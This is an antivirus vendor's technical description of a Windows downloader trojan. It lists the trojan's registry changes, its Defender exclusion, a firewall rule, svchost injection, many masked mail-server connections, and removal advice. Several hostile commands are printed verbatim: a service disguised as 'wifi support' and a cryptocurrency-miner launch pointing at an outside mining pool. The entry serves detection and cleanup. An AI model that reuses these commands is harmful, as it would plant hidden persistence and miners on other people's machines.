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Trojan.DownLoader29.45824
Added to the Dr.Web virus database:
2019-07-17
Virus description added:
2019-07-19
Technical Information
To ensure autorun and distribution
Creates the following services
[<HKLM>\System\CurrentControlSet\Services\szujyyrf] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\szujyyrf] 'ImagePath' = '%WINDIR%\SysWOW64\szujyyrf\pflefndm.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\szujyyrf] 'ImagePath' = '%WINDIR%\SysWOW64\szujyyrf\pflefndm.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\szujyyrf' = '00000000'
Executes the following
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
%WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
%TEMP%\pflefndm.exe
%WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
from %TEMP%\pflefndm.exe to %WINDIR%\syswow64\szujyyrf\pflefndm.exe
Deletes itself.
Network activity
Connects to
'mx###03.web.de':25
'mt##.##0.yahoodns.net':25
'16#####.mxmail.netease.com':25
'ma##.vianova.it':25
'alt1.gmail-smtp-in.l.google.com':25
'alt4.gmail-smtp-in.l.google.com':25
'mx###.##gamailservers.com':25
'mx#######f02.gslb.pphosted.com':25
'sp##.#webmedia.com':25
'alt3.gmail-smtp-in.l.google.com':25
'ma###.#aint-gobain.com':25
'ma###.statefarm.com':25
'gmail-smtp-in.l.google.com':25
'14#.#6.108.92':480
'mx#.#otmail.com':25
TCP
UDP
DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ad####ledgemail.com
DNS ASK pw##et.com
DNS ASK eu###cript.de
DNS ASK fl##ena.de
DNS ASK ma###.#eiersdorf.com
DNS ASK oh###ealth.com
DNS ASK cl######.us.messagelabs.com
DNS ASK we#.de
DNS ASK mx###03.web.de
DNS ASK au####ormation.com
DNS ASK mx#.ovh.net
DNS ASK 16#.com
DNS ASK 16#####.mxmail.netease.com
DNS ASK google.com
DNS ASK co##o.it
DNS ASK ma##.vianova.it
DNS ASK ac#####mpression.com
DNS ASK mx###.##gamailservers.com
DNS ASK pf##er.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK ac###tintl.com
DNS ASK sp##.#webmedia.com
DNS ASK sa####gobain.com
DNS ASK ma###.#aint-gobain.com
DNS ASK jp####anfleming.com
DNS ASK un####sa01.unito.at
DNS ASK ya###.com.br
DNS ASK qu##le.de
DNS ASK gm#.de
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mt##.##0.yahoodns.net
DNS ASK alt4.gmail-smtp-in.l.google.com
DNS ASK mx#.#otmail.com
DNS ASK alt3.gmail-smtp-in.l.google.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK al####agroup.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK am######.almullagroup.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK md##.com
DNS ASK cl##son.edu
DNS ASK mx#.#lemson.edu
DNS ASK we###fargo.com
DNS ASK cl#######.us.messagelabs.com
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK pl###thome.de
DNS ASK mx###.##tispameurope.com
DNS ASK cl####bility.com
DNS ASK ASPMX.L.GOOGLE.com
DNS ASK st###farm.com
DNS ASK ma###.statefarm.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK mx##.#mig.gmx.net
DNS ASK ca######ssociatescpa.com
Miscellaneous
Creates and executes the following
'%WINDIR%\syswow64\szujyyrf\pflefndm.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\szujyyrf\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pflefndm.exe" %WINDIR%\SysWOW64\szujyyrf\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create szujyyrf binPath= "%WINDIR%\SysWOW64\szujyyrf\pflefndm.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description szujyyrf "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start szujyyrf' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\szujyyrf\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pflefndm.exe" %WINDIR%\SysWOW64\szujyyrf\
'%WINDIR%\syswow64\sc.exe' create szujyyrf binPath= "%WINDIR%\SysWOW64\szujyyrf\pflefndm.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description szujyyrf "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start szujyyrf
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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